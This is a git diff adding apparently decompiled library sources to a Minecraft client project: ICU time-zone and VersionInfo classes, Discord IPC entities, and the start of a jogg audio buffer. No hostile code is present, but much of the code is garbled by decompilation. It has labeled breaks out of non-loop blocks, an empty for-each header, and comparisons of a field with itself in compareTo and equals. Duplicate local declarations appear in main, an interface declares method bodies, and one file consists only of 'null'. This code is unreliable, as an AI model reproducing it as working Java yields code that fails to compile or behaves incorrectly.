+    sb.append(numToString(hour, 2));
+    sb.append(numToString(min, 2));
+    sb.append(numToString(sec, 2));
+    return sb.toString();
+  }
+  
+
+
+  private static String getUTCDateTimeString(long time)
+  {
+    return getDateTimeString(time) + "Z";
+  }
+  
+
+
+
+  private static long parseDateTimeString(String str, int offset)
+  {
+    int year = 0;int month = 0;int day = 0;int hour = 0;int min = 0;int sec = 0;
+    boolean isUTC = false;
+    boolean isValid = false;
+    
+    if (str != null)
+    {
+
+
+      int length = str.length();
+      if ((length == 15) || (length == 16))
+      {
+
+
+
+        if (str.charAt(8) == 'T')
+        {
+
+
+          if (length == 16) {
+            if (str.charAt(15) == 'Z')
+            {
+
+
+              isUTC = true;
+            }
+          } else {
+            try {
+              year = Integer.parseInt(str.substring(0, 4));
+              month = Integer.parseInt(str.substring(4, 6)) - 1;
+              day = Integer.parseInt(str.substring(6, 8));
+              hour = Integer.parseInt(str.substring(9, 11));
+              min = Integer.parseInt(str.substring(11, 13));
+              sec = Integer.parseInt(str.substring(13, 15));
+            }
+            catch (NumberFormatException nfe)
+            {
+              break label249;
+            }
+            int maxDayOfMonth = Grego.monthLength(year, month);
+            if ((year >= 0) && (month >= 0) && (month <= 11) && (day >= 1) && (day <= maxDayOfMonth) && (hour >= 0) && (hour < 24) && (min >= 0) && (min < 60) && (sec >= 0) && (sec < 60))
+            {
+
+
+
+              isValid = true; }
+          } } } }
+    label249:
+    if (!isValid) {
+      throw new IllegalArgumentException("Invalid date time string format");
+    }
+    
+    long time = Grego.fieldsToDay(year, month, day) * 86400000L;
+    time += hour * 3600000 + min * 60000 + sec * 1000;
+    if (!isUTC) {
+      time -= offset;
+    }
+    return time;
+  }
+  
+
+
+  private static int offsetStrToMillis(String str)
+  {
+    boolean isValid = false;
+    int sign = 0;int hour = 0;int min = 0;int sec = 0;
+    
+
+    if (str != null)
+    {
+
+      int length = str.length();
+      if ((length == 5) || (length == 7))
+      {
+
+
+
+        char s = str.charAt(0);
+        if (s == '+') {
+          sign = 1;
+        } else { if (s != '-') break label119;
+          sign = -1;
+        }
+        
+
+
+        try
+        {
+          hour = Integer.parseInt(str.substring(1, 3));
+          min = Integer.parseInt(str.substring(3, 5));
+          if (length == 7) {
+            sec = Integer.parseInt(str.substring(5, 7));
+          }
+        } catch (NumberFormatException nfe) {
+          break label119;
+        }
+        isValid = true;
+      } }
+    label119:
+    if (!isValid) {
+      throw new IllegalArgumentException("Bad offset string");
+    }
+    int millis = sign * ((hour * 60 + min) * 60 + sec) * 1000;
+    return millis;
+  }
+  
+
+
+  private static String millisToOffset(int millis)
+  {
+    StringBuilder sb = new StringBuilder(7);
+    if (millis >= 0) {
+      sb.append('+');
+    } else {
+      sb.append('-');
+      millis = -millis;
+    }
+    
+    int t = millis / 1000;
+    
+    int sec = t % 60;
+    t = (t - sec) / 60;
+    int min = t % 60;
+    int hour = t / 60;
+    
+    sb.append(numToString(hour, 2));
+    sb.append(numToString(min, 2));
+    sb.append(numToString(sec, 2));
+    
+    return sb.toString();
+  }
+  
+
+
+  private static String numToString(int num, int width)
+  {
+    String str = Integer.toString(num);
+    int len = str.length();
+    if (len >= width) {
+      return str.substring(len - width, len);
+    }
+    StringBuilder sb = new StringBuilder(width);
+    for (int i = len; i < width; i++) {
+      sb.append('0');
+    }
+    sb.append(str);
+    return sb.toString();
+  }
+  
+
+  private transient boolean isFrozen = false;
+  
+
+
+
+  public boolean isFrozen()
+  {
+    return isFrozen;
+  }
+  
+
+
+
+  public TimeZone freeze()
+  {
+    isFrozen = true;
+    return this;
+  }
+  
+
+
+
+  public TimeZone cloneAsThawed()
+  {
+    VTimeZone vtz = (VTimeZone)super.cloneAsThawed();
+    tz = ((BasicTimeZone)tz.cloneAsThawed());
+    isFrozen = false;
+    return vtz;
+  }
+  
+  private VTimeZone() {}
+}
diff --git a/src/minecraft/com/ibm/icu/util/ValueIterator.java b/src/minecraft/com/ibm/icu/util/ValueIterator.java
new file mode 100644
index 0000000..a907f57
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/ValueIterator.java
@@ -0,0 +1,18 @@
+package com.ibm.icu.util;
+
+public abstract interface ValueIterator
+{
+  public abstract boolean next(Element paramElement);
+  
+  public abstract void reset();
+  
+  public abstract void setRange(int paramInt1, int paramInt2);
+  
+  public static final class Element
+  {
+    public int integer;
+    public Object value;
+    
+    public Element() {}
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/VersionInfo.java b/src/minecraft/com/ibm/icu/util/VersionInfo.java
new file mode 100644
index 0000000..40dceee
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/VersionInfo.java
@@ -0,0 +1,628 @@
+package com.ibm.icu.util;
+
+import java.io.PrintStream;
+import java.util.concurrent.ConcurrentHashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class VersionInfo
+  implements Comparable<VersionInfo>
+{
+  public static VersionInfo getInstance(String version)
+  {
+    int length = version.length();
+    int[] array = { 0, 0, 0, 0 };
+    int count = 0;
+    int index = 0;
+    
+    while ((count < 4) && (index < length)) {
+      char c = version.charAt(index);
+      if (c == '.') {
+        count++;
+      }
+      else {
+        c = (char)(c - '0');
+        if ((c < 0) || (c > '\t')) {
+          throw new IllegalArgumentException("Invalid version number: Version number may be negative or greater than 255");
+        }
+        array[count] *= 10;
+        array[count] += c;
+      }
+      index++;
+    }
+    if (index != length) {
+      throw new IllegalArgumentException("Invalid version number: String '" + version + "' exceeds version format");
+    }
+    
+    for (int i = 0; i < 4; i++) {
+      if ((array[i] < 0) || (array[i] > 255)) {
+        throw new IllegalArgumentException("Invalid version number: Version number may be negative or greater than 255");
+      }
+    }
+    
+    return getInstance(array[0], array[1], array[2], array[3]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static VersionInfo getInstance(int major, int minor, int milli, int micro)
+  {
+    if ((major < 0) || (major > 255) || (minor < 0) || (minor > 255) || (milli < 0) || (milli > 255) || (micro < 0) || (micro > 255))
+    {
+      throw new IllegalArgumentException("Invalid version number: Version number may be negative or greater than 255");
+    }
+    int version = getInt(major, minor, milli, micro);
+    Integer key = Integer.valueOf(version);
+    VersionInfo result = (VersionInfo)MAP_.get(key);
+    if (result == null) {
+      result = new VersionInfo(version);
+      VersionInfo tmpvi = (VersionInfo)MAP_.putIfAbsent(key, result);
+      if (tmpvi != null) {
+        result = tmpvi;
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static VersionInfo getInstance(int major, int minor, int milli)
+  {
+    return getInstance(major, minor, milli, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static VersionInfo getInstance(int major, int minor)
+  {
+    return getInstance(major, minor, 0, 0);
+  }
+  
+
+
+
+
+
+
+
+
+  public static VersionInfo getInstance(int major)
+  {
+    return getInstance(major, 0, 0, 0);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public static VersionInfo javaVersion()
+  {
+    if (javaVersion == null) {
+      synchronized (VersionInfo.class) {
+        if (javaVersion == null) {
+          String s = System.getProperty("java.version");
+          
+
+
+
+
+          char[] chars = s.toCharArray();
+          int r = 0;int w = 0;int count = 0;
+          boolean numeric = false;
+          while (r < chars.length) {
+            char c = chars[(r++)];
+            if ((c < '0') || (c > '9')) {
+              if (numeric) {
+                if (count == 3) {
+                  break;
+                }
+                
+                numeric = false;
+                chars[(w++)] = '.';
+                count++;
+              }
+            } else {
+              numeric = true;
+              chars[(w++)] = c;
+            }
+          }
+          while ((w > 0) && (chars[(w - 1)] == '.')) {
+            w--;
+          }
+          
+          String vs = new String(chars, 0, w);
+          
+          javaVersion = getInstance(vs);
+        }
+      }
+    }
+    return javaVersion;
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder result = new StringBuilder(7);
+    result.append(getMajor());
+    result.append('.');
+    result.append(getMinor());
+    result.append('.');
+    result.append(getMilli());
+    result.append('.');
+    result.append(getMicro());
+    return result.toString();
+  }
+  
+
+
+
+
+
+  public int getMajor()
+  {
+    return m_version_ >> 24 & 0xFF;
+  }
+  
+
+
+
+
+
+  public int getMinor()
+  {
+    return m_version_ >> 16 & 0xFF;
+  }
+  
+
+
+
+
+
+  public int getMilli()
+  {
+    return m_version_ >> 8 & 0xFF;
+  }
+  
+
+
+
+
+
+  public int getMicro()
+  {
+    return m_version_ & 0xFF;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    return other == this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public int compareTo(VersionInfo other)
+  {
+    return m_version_ - m_version_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final ConcurrentHashMap<Integer, VersionInfo> MAP_ = new ConcurrentHashMap();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static
+  {
+    UNICODE_1_0 = getInstance(1, 0, 0, 0);
+    UNICODE_1_0_1 = getInstance(1, 0, 1, 0);
+    UNICODE_1_1_0 = getInstance(1, 1, 0, 0);
+    UNICODE_1_1_5 = getInstance(1, 1, 5, 0);
+    UNICODE_2_0 = getInstance(2, 0, 0, 0);
+    UNICODE_2_1_2 = getInstance(2, 1, 2, 0);
+    UNICODE_2_1_5 = getInstance(2, 1, 5, 0);
+    UNICODE_2_1_8 = getInstance(2, 1, 8, 0);
+    UNICODE_2_1_9 = getInstance(2, 1, 9, 0);
+    UNICODE_3_0 = getInstance(3, 0, 0, 0);
+    UNICODE_3_0_1 = getInstance(3, 0, 1, 0);
+    UNICODE_3_1_0 = getInstance(3, 1, 0, 0);
+    UNICODE_3_1_1 = getInstance(3, 1, 1, 0);
+    UNICODE_3_2 = getInstance(3, 2, 0, 0);
+    UNICODE_4_0 = getInstance(4, 0, 0, 0);
+    UNICODE_4_0_1 = getInstance(4, 0, 1, 0);
+    UNICODE_4_1 = getInstance(4, 1, 0, 0);
+    UNICODE_5_0 = getInstance(5, 0, 0, 0);
+    UNICODE_5_1 = getInstance(5, 1, 0, 0);
+    UNICODE_5_2 = getInstance(5, 2, 0, 0);
+    UNICODE_6_0 = getInstance(6, 0, 0, 0);
+    UNICODE_6_1 = getInstance(6, 1, 0, 0);
+    UNICODE_6_2 = getInstance(6, 2, 0, 0);
+    
+    ICU_VERSION = getInstance(51, 2, 0, 0);
+    ICU_DATA_VERSION = getInstance(51, 2, 0, 0);
+    UNICODE_VERSION = UNICODE_6_2; }
+  
+  public static final VersionInfo UCOL_RUNTIME_VERSION = getInstance(7);
+  public static final VersionInfo UCOL_BUILDER_VERSION = getInstance(8);
+  public static final VersionInfo UCOL_TAILORINGS_VERSION = getInstance(1);
+  public static final VersionInfo UNICODE_1_0;
+  public static final VersionInfo UNICODE_1_0_1;
+  public static final VersionInfo UNICODE_1_1_0;
+  public static final VersionInfo UNICODE_1_1_5;
+  public static final VersionInfo UNICODE_2_0;
+  public static final VersionInfo UNICODE_2_1_2;
+  public static final VersionInfo UNICODE_2_1_5;
+  
+  private VersionInfo(int compactversion)
+  {
+    m_version_ = compactversion;
+  }
+  
+  public static final VersionInfo UNICODE_2_1_8;
+  public static final VersionInfo UNICODE_2_1_9;
+  public static final VersionInfo UNICODE_3_0;
+  public static final VersionInfo UNICODE_3_0_1;
+  public static final VersionInfo UNICODE_3_1_0;
+  public static final VersionInfo UNICODE_3_1_1;
+  public static final VersionInfo UNICODE_3_2;
+  public static final VersionInfo UNICODE_4_0;
+  
+  private static int getInt(int major, int minor, int milli, int micro) { return major << 24 | minor << 16 | milli << 8 | micro; }
+  
+  public static final VersionInfo UNICODE_4_0_1;
+  public static final VersionInfo UNICODE_4_1;
+  public static final VersionInfo UNICODE_5_0;
+  public static final VersionInfo UNICODE_5_1;
+  public static final VersionInfo UNICODE_5_2;
+  public static final VersionInfo UNICODE_6_0;
+  public static final VersionInfo UNICODE_6_1;
+  public static final VersionInfo UNICODE_6_2;
+  public static void main(String[] args) { String icuApiVer;
+    String icuApiVer; if (ICU_VERSION.getMajor() <= 4) { String icuApiVer;
+      if (ICU_VERSION.getMinor() % 2 != 0)
+      {
+        int major = ICU_VERSION.getMajor();
+        int minor = ICU_VERSION.getMinor() + 1;
+        if (minor >= 10) {
+          minor -= 10;
+          major++;
+        }
+        icuApiVer = "" + major + "." + minor + "M" + ICU_VERSION.getMilli();
+      } else {
+        icuApiVer = ICU_VERSION.getVersionString(2, 2);
+      }
+    } else { String icuApiVer;
+      if (ICU_VERSION.getMinor() == 0)
+      {
+        icuApiVer = "" + ICU_VERSION.getMajor() + "M" + ICU_VERSION.getMilli();
+      } else {
+        icuApiVer = ICU_VERSION.getVersionString(2, 2);
+      }
+    }
+    
+
+    System.out.println("International Components for Unicode for Java " + icuApiVer);
+    
+    System.out.println("");
+    System.out.println("Implementation Version: " + ICU_VERSION.getVersionString(2, 4));
+    System.out.println("Unicode Data Version:   " + UNICODE_VERSION.getVersionString(2, 4));
+    System.out.println("CLDR Data Version:      " + LocaleData.getCLDRVersion().getVersionString(2, 4));
+    System.out.println("Time Zone Data Version: " + TimeZone.getTZDataVersion());
+  }
+  
+
+  public static final VersionInfo ICU_VERSION;
+  /**
+   * @deprecated
+   */
+  public static final String ICU_DATA_VERSION_PATH = "51b";
+  
+  private String getVersionString(int minDigits, int maxDigits)
+  {
+    if ((minDigits < 1) || (maxDigits < 1) || (minDigits > 4) || (maxDigits > 4) || (minDigits > maxDigits))
+    {
+      throw new IllegalArgumentException("Invalid min/maxDigits range");
+    }
+    
+    int[] digits = new int[4];
+    digits[0] = getMajor();
+    digits[1] = getMinor();
+    digits[2] = getMilli();
+    digits[3] = getMicro();
+    
+    int numDigits = maxDigits;
+    while ((numDigits > minDigits) && 
+      (digits[(numDigits - 1)] == 0))
+    {
+
+      numDigits--;
+    }
+    
+    StringBuilder verStr = new StringBuilder(7);
+    verStr.append(digits[0]);
+    for (int i = 1; i < numDigits; i++) {
+      verStr.append(".");
+      verStr.append(digits[i]);
+    }
+    
+    return verStr.toString();
+  }
+  
+  /**
+   * @deprecated
+   */
+  public static final VersionInfo ICU_DATA_VERSION;
+  private static volatile VersionInfo javaVersion;
+  private static final VersionInfo UNICODE_VERSION;
+  private int m_version_;
+  private static final int LAST_BYTE_MASK_ = 255;
+  private static final String INVALID_VERSION_NUMBER_ = "Invalid version number: Version number may be negative or greater than 255";
+}
diff --git a/src/minecraft/com/jagrosh/discordipc/IPCClient.java b/src/minecraft/com/jagrosh/discordipc/IPCClient.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/jagrosh/discordipc/IPCClient.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/jagrosh/discordipc/IPCListener.java b/src/minecraft/com/jagrosh/discordipc/IPCListener.java
new file mode 100644
index 0000000..9fd21bf
--- /dev/null
+++ b/src/minecraft/com/jagrosh/discordipc/IPCListener.java
@@ -0,0 +1,24 @@
+package com.jagrosh.discordipc;
+
+import com.jagrosh.discordipc.entities.Packet;
+import com.jagrosh.discordipc.entities.User;
+import org.json.JSONObject;
+
+public abstract interface IPCListener
+{
+  public void onPacketSent(IPCClient client, Packet packet) {}
+  
+  public void onPacketReceived(IPCClient client, Packet packet) {}
+  
+  public void onActivityJoin(IPCClient client, String secret) {}
+  
+  public void onActivitySpectate(IPCClient client, String secret) {}
+  
+  public void onActivityJoinRequest(IPCClient client, String secret, User user) {}
+  
+  public void onReady(IPCClient client) {}
+  
+  public void onClose(IPCClient client, JSONObject json) {}
+  
+  public void onDisconnect(IPCClient client, Throwable t) {}
+}
diff --git a/src/minecraft/com/jagrosh/discordipc/entities/Callback.java b/src/minecraft/com/jagrosh/discordipc/entities/Callback.java
new file mode 100644
index 0000000..8f9b019
--- /dev/null
+++ b/src/minecraft/com/jagrosh/discordipc/entities/Callback.java
@@ -0,0 +1,115 @@
+package com.jagrosh.discordipc.entities;
+
+import java.util.function.Consumer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Callback
+{
+  private final Runnable success;
+  private final Consumer<String> failure;
+  
+  public Callback()
+  {
+    this(null, null);
+  }
+  
+
+
+
+
+
+
+
+  public Callback(Runnable success)
+  {
+    this(success, null);
+  }
+  
+
+
+
+
+
+
+
+  public Callback(Consumer<String> failure)
+  {
+    this(null, failure);
+  }
+  
+
+
+
+
+
+
+
+
+  public Callback(Runnable success, Consumer<String> failure)
+  {
+    this.success = success;
+    this.failure = failure;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return (success == null) && (failure == null);
+  }
+  
+
+
+
+  public void succeed()
+  {
+    if (success != null) {
+      success.run();
+    }
+  }
+  
+
+
+
+
+
+  public void fail(String message)
+  {
+    if (failure != null) {
+      failure.accept(message);
+    }
+  }
+}
diff --git a/src/minecraft/com/jagrosh/discordipc/entities/DiscordBuild.java b/src/minecraft/com/jagrosh/discordipc/entities/DiscordBuild.java
new file mode 100644
index 0000000..69cad66
--- /dev/null
+++ b/src/minecraft/com/jagrosh/discordipc/entities/DiscordBuild.java
@@ -0,0 +1,81 @@
+package com.jagrosh.discordipc.entities;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum DiscordBuild
+{
+  CANARY(
+  
+
+    "//canary.discordapp.com/api"), 
+  
+  PTB(
+  
+
+    "//ptb.discordapp.com/api"), 
+  
+  STABLE(
+  
+
+    "//discordapp.com/api"), 
+  
+  ANY;
+  
+
+
+
+
+  private final String endpoint;
+  
+
+
+
+  private DiscordBuild(String endpoint)
+  {
+    this.endpoint = endpoint;
+  }
+  
+  private DiscordBuild()
+  {
+    this(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static DiscordBuild from(String endpoint)
+  {
+    for (DiscordBuild value : )
+    {
+      if ((endpoint != null) && (endpoint.equals(endpoint)))
+      {
+        return value;
+      }
+    }
+    return ANY;
+  }
+}
diff --git a/src/minecraft/com/jagrosh/discordipc/entities/Packet.java b/src/minecraft/com/jagrosh/discordipc/entities/Packet.java
new file mode 100644
index 0000000..b0ef39b
--- /dev/null
+++ b/src/minecraft/com/jagrosh/discordipc/entities/Packet.java
@@ -0,0 +1,95 @@
+package com.jagrosh.discordipc.entities;
+
+import java.nio.ByteBuffer;
+import org.json.JSONObject;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Packet
+{
+  private final OpCode op;
+  private final JSONObject data;
+  
+  public Packet(OpCode op, JSONObject data)
+  {
+    this.op = op;
+    this.data = data;
+  }
+  
+
+
+
+
+
+  public byte[] toBytes()
+  {
+    byte[] d = data.toString().getBytes();
+    ByteBuffer packet = ByteBuffer.allocate(d.length + 8);
+    packet.putInt(Integer.reverseBytes(op.ordinal()));
+    packet.putInt(Integer.reverseBytes(d.length));
+    packet.put(d);
+    return packet.array();
+  }
+  
+
+
+
+
+
+  public OpCode getOp()
+  {
+    return op;
+  }
+  
+
+
+
+
+
+  public JSONObject getJson()
+  {
+    return data;
+  }
+  
+
+  public String toString()
+  {
+    return "Pkt:" + getOp() + getJson().toString();
+  }
+  
+
+
+
+
+
+
+  public static enum OpCode
+  {
+    HANDSHAKE,  FRAME,  CLOSE,  PING,  PONG;
+  }
+}
diff --git a/src/minecraft/com/jagrosh/discordipc/entities/RichPresence.java b/src/minecraft/com/jagrosh/discordipc/entities/RichPresence.java
new file mode 100644
index 0000000..ede7cbc
--- /dev/null
+++ b/src/minecraft/com/jagrosh/discordipc/entities/RichPresence.java
@@ -0,0 +1,333 @@
+package com.jagrosh.discordipc.entities;
+
+import java.time.OffsetDateTime;
+import org.json.JSONArray;
+import org.json.JSONObject;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RichPresence
+{
+  private final String state;
+  private final String details;
+  private final OffsetDateTime startTimestamp;
+  private final OffsetDateTime endTimestamp;
+  private final String largeImageKey;
+  private final String largeImageText;
+  private final String smallImageKey;
+  private final String smallImageText;
+  private final String partyId;
+  private final int partySize;
+  private final int partyMax;
+  private final String matchSecret;
+  private final String joinSecret;
+  private final String spectateSecret;
+  private final boolean instance;
+  
+  public RichPresence(String state, String details, OffsetDateTime startTimestamp, OffsetDateTime endTimestamp, String largeImageKey, String largeImageText, String smallImageKey, String smallImageText, String partyId, int partySize, int partyMax, String matchSecret, String joinSecret, String spectateSecret, boolean instance)
+  {
+    this.state = state;
+    this.details = details;
+    this.startTimestamp = startTimestamp;
+    this.endTimestamp = endTimestamp;
+    this.largeImageKey = largeImageKey;
+    this.largeImageText = largeImageText;
+    this.smallImageKey = smallImageKey;
+    this.smallImageText = smallImageText;
+    this.partyId = partyId;
+    this.partySize = partySize;
+    this.partyMax = partyMax;
+    this.matchSecret = matchSecret;
+    this.joinSecret = joinSecret;
+    this.spectateSecret = spectateSecret;
+    this.instance = instance;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public JSONObject toJson()
+  {
+    return 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      new JSONObject().put("state", state).put("details", details).put("timestamps", new JSONObject().put("start", startTimestamp == null ? null : Long.valueOf(startTimestamp.toEpochSecond())).put("end", endTimestamp == null ? null : Long.valueOf(endTimestamp.toEpochSecond()))).put("assets", new JSONObject().put("large_image", largeImageKey).put("large_text", largeImageText).put("small_image", smallImageKey).put("small_text", smallImageText)).put("party", partyId == null ? null : new JSONObject().put("id", partyId).put("size", new JSONArray().put(partySize).put(partyMax))).put("secrets", new JSONObject().put("join", joinSecret).put("spectate", spectateSecret).put("match", matchSecret)).put("instance", instance);
+  }
+  
+
+  public static class Builder
+  {
+    private String state;
+    
+    private String details;
+    
+    private OffsetDateTime startTimestamp;
+    
+    private OffsetDateTime endTimestamp;
+    
+    private String largeImageKey;
+    
+    private String largeImageText;
+    
+    private String smallImageKey;
+    
+    private String smallImageText;
+    
+    private String partyId;
+    private int partySize;
+    private int partyMax;
+    private String matchSecret;
+    private String joinSecret;
+    private String spectateSecret;
+    private boolean instance;
+    
+    public Builder() {}
+    
+    public RichPresence build()
+    {
+      return new RichPresence(state, details, startTimestamp, endTimestamp, 
+        largeImageKey, largeImageText, smallImageKey, smallImageText, 
+        partyId, partySize, partyMax, matchSecret, joinSecret, 
+        spectateSecret, instance);
+    }
+    
+
+
+
+
+
+
+
+    public Builder setState(String state)
+    {
+      this.state = state;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder setDetails(String details)
+    {
+      this.details = details;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder setStartTimestamp(OffsetDateTime startTimestamp)
+    {
+      this.startTimestamp = startTimestamp;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder setEndTimestamp(OffsetDateTime endTimestamp)
+    {
+      this.endTimestamp = endTimestamp;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setLargeImage(String largeImageKey, String largeImageText)
+    {
+      this.largeImageKey = largeImageKey;
+      this.largeImageText = largeImageText;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public Builder setLargeImage(String largeImageKey)
+    {
+      return setLargeImage(largeImageKey, null);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setSmallImage(String smallImageKey, String smallImageText)
+    {
+      this.smallImageKey = smallImageKey;
+      this.smallImageText = smallImageText;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public Builder setSmallImage(String smallImageKey)
+    {
+      return setSmallImage(smallImageKey, null);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setParty(String partyId, int partySize, int partyMax)
+    {
+      this.partyId = partyId;
+      this.partySize = partySize;
+      this.partyMax = partyMax;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder setMatchSecret(String matchSecret)
+    {
+      this.matchSecret = matchSecret;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder setJoinSecret(String joinSecret)
+    {
+      this.joinSecret = joinSecret;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder setSpectateSecret(String spectateSecret)
+    {
+      this.spectateSecret = spectateSecret;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+    public Builder setInstance(boolean instance)
+    {
+      this.instance = instance;
+      return this;
+    }
+  }
+}
diff --git a/src/minecraft/com/jagrosh/discordipc/entities/User.java b/src/minecraft/com/jagrosh/discordipc/entities/User.java
new file mode 100644
index 0000000..bc5ce22
--- /dev/null
+++ b/src/minecraft/com/jagrosh/discordipc/entities/User.java
@@ -0,0 +1,213 @@
+package com.jagrosh.discordipc.entities;
+
+
+
+
+
+
+
+
+public class User
+{
+  private final String name;
+  
+
+
+
+
+
+  private final String discriminator;
+  
+
+
+
+
+
+  private final long id;
+  
+
+
+
+
+
+  private final String avatar;
+  
+
+
+
+
+
+
+  public User(String name, String discriminator, long id, String avatar)
+  {
+    this.name = name;
+    this.discriminator = discriminator;
+    this.id = id;
+    this.avatar = avatar;
+  }
+  
+
+
+
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+
+
+  public String getDiscriminator()
+  {
+    return discriminator;
+  }
+  
+
+
+
+
+
+  public long getIdLong()
+  {
+    return id;
+  }
+  
+
+
+
+
+
+  public String getId()
+  {
+    return Long.toString(id);
+  }
+  
+
+
+
+
+
+  public String getAvatarId()
+  {
+    return avatar;
+  }
+  
+
+
+
+
+
+  public String getAvatarUrl()
+  {
+    return 
+      "https://cdn.discordapp.com/avatars/" + getId() + "/" + getAvatarId() + (getAvatarId().startsWith("a_") ? ".gif" : ".png");
+  }
+  
+
+
+
+
+
+  public String getDefaultAvatarId()
+  {
+    return DefaultAvatar.values()[(Integer.parseInt(getDiscriminator()) % DefaultAvatar.values().length)].toString();
+  }
+  
+
+
+
+
+
+  public String getDefaultAvatarUrl()
+  {
+    return "https://discordapp.com/assets/" + getDefaultAvatarId() + ".png";
+  }
+  
+
+
+
+
+
+
+  public String getEffectiveAvatarUrl()
+  {
+    return getAvatarUrl() == null ? getDefaultAvatarUrl() : getAvatarUrl();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isBot()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public String getAsMention()
+  {
+    return "<@" + id + '>';
+  }
+  
+
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof User))
+      return false;
+    User oUser = (User)o;
+    return (this == oUser) || (id == id);
+  }
+  
+
+  public int hashCode()
+  {
+    return Long.hashCode(id);
+  }
+  
+
+  public String toString()
+  {
+    return "U:" + getName() + '(' + id + ')';
+  }
+  
+
+
+
+
+  public static enum DefaultAvatar
+  {
+    BLURPLE("6debd47ed13483642cf09e832ed0bc1b"), 
+    GREY("322c936a8c8be1b803cd94861bdfa868"), 
+    GREEN("dd4dbc0016779df1378e7812eabaa04d"), 
+    ORANGE("0e291f67c9274a1abdddeb3fd919cbaa"), 
+    RED("1cbd08c76f8af6dddce02c5138971129");
+    
+    private final String text;
+    
+    private DefaultAvatar(String text)
+    {
+      this.text = text;
+    }
+    
+
+    public String toString()
+    {
+      return text;
+    }
+  }
+}
diff --git a/src/minecraft/com/jagrosh/discordipc/exceptions/NoDiscordClientException.java b/src/minecraft/com/jagrosh/discordipc/exceptions/NoDiscordClientException.java
new file mode 100644
index 0000000..cd564d7
--- /dev/null
+++ b/src/minecraft/com/jagrosh/discordipc/exceptions/NoDiscordClientException.java
@@ -0,0 +1,7 @@
+package com.jagrosh.discordipc.exceptions;
+
+public class NoDiscordClientException
+  extends Exception
+{
+  public NoDiscordClientException() {}
+}
diff --git a/src/minecraft/com/jcraft/jogg/Buffer.java b/src/minecraft/com/jcraft/jogg/Buffer.java
new file mode 100644
index 0000000..a9ce3d4
--- /dev/null
+++ b/src/minecraft/com/jcraft/jogg/Buffer.java
@@ -0,0 +1,294 @@
+package com.jcraft.jogg;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Buffer
+{
+  private static final int BUFFER_INCREMENT = 256;
+  private static final int[] mask = { 0, 1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191, 16383, 32767, 65535, 131071, 262143, 524287, 1048575, 2097151, 4194303, 8388607, 16777215, 33554431, 67108863, 134217727, 268435455, 536870911, 1073741823, Integer.MAX_VALUE, -1 };
+  
+
+
+  public Buffer() {}
+  
+
+  int ptr = 0;
+  byte[] buffer = null;
+  int endbit = 0;
+  int endbyte = 0;
+  int storage = 0;
+  
+  public void writeinit() {
+    buffer = new byte['Ā'];
+    ptr = 0;
+    buffer[0] = 0;
+    storage = 256;
+  }
+  
+  public void write(byte[] s) {
+    for (int i = 0; i < s.length; i++) {
+      if (s[i] == 0)
+        break;
+      write(s[i], 8);
+    }
+  }
+  
+  public void read(byte[] s, int bytes) {
+    int i = 0;
+    while (bytes-- != 0) {
